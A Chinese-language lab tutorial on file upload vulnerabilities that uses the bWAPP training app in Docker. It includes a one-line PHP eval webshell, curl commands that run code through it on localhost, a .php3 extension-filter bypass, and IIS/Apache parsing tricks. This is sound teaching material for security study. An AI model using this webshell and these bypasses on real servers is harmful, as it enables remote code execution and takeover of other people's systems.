文件上传漏洞
文件上传漏洞是什么?
文件上传漏洞是在开发者没有做充足验证情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者webshell等。
部署靶机环境
下载镜像
docker search bwapp # 搜索镜像
docker pull raesene/bwapp # 拉取镜像
docker run -d -p 12345:80 raesene/bwapp # 创建容器
docker ps # 确认容器是否正常运行
docker container list -a|grep bwapp # 查看容器id
docker start container_id # 启动容器,如果容器已经启动,就无需这部操作
docker exec -it container_id bash # 进入容器,修改文件的权限,否在无法上传文件
在进入容器之后,需要对文件的目录权限进行变更,否则无法进行上传操作
root@137640210dd6:/app# cd ..
root@137640210dd6:/# chown -R www-data:www-data app
系统初始化
在浏览器中输入http://localhost:12345/install.php,进入安全页面,选择安装按钮,对应用进行初始化。
创建用户
在初始化成功之后,跳转到create user页面,填写完信息之后,不要勾选验证邮件这一项,点击创建:
image.png
文件上传
上传漏洞
登录应用之后,选择Unrestricted File Upload 然后点击hack按钮,进入Unrestricted File Upload 页面,
image.png
上传一个文件shell.php文件,并进行查看,在预览页面中没有任何内容展示,因为上传的文件不是一个文本文件,而是一个文件,文件内容为:
<?php @eval($_POST['hacker']); ?>%
在php中,eval是一个特殊的关键字,将一个字符串变成php的运行代码。
<?php @eval($_POST['hacker']); ?> 中的@eval($_POST['hacker']);是要接收post的数据,变量为hacker
image.png
curl -d "hacker=echo get_current_user();" http://localhost:12345/images/shell.php # 获取当前用户
curl -d "hacker=echo getcwd();" http://localhost:12345/images/shell.php # 获取当前的目录
后缀名跳过
将安全级别设置为medium,将无法上传shell.php文件:
image.png
将shell.php 变成shell.php3,在重新上传文件:
image.png
文件成功上传
image.png
将shell.php 变成shell.php30,在重新上传文件:
image.png
文件内容可以在预览里面看见,因为应用把shell.php30当作一个文本文件,直接展示内容。
查看容器内部的文件:
docker container list -a|grep bwapp # 查看容器id
docker exec -it container_id bash # 进入容器,修改文件的权限,否在无法上传文件
cd /etc/apache2/
cat apache2.conf |grep conf
通过apache2.conf文件中,可以看到加载的mod有哪些,查看支持的php配置文件位置和内容
cd /etc/apache2/mods-enabled
cat php5.conf
php5.conf文件内容
<FilesMatch ".+\.ph(p[345]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
Order Deny,Allow
Deny from all
</FilesMatch>
<FilesMatch "^\.ph(p[345]?|t|tml|ps)$">
Order Deny,Allow
Deny from all
</FilesMatch>
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>
通过配置文件可以看到,如果后缀名字为php3、php4、php5都会解析为PHP文件,php30是无法解析为php文件的。
前端绕过
ISS 5.x/6 解析漏洞
漏洞1:当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件
漏洞2:服务器默认不解析;以后的内容
漏洞利用形式:
漏洞1: www.xx.com/xx.asp/xx.jpg 会被解析成asp文件
漏洞2: www.xx.com/xx.asp;.jpg 会被解析为asp文件
Apache漏洞
Apache 在1.x和2.x版本中存在解析漏洞:
Apache从右至左开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,
然后将该可识别后缀进解析。
前端验证绕过
利用方式:
1.使用Burp Suite来拦截请求,将请求进行修改;
2.通过chrome禁止/删除js代码。
Windows文件流
什么是Windows文件流?
NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。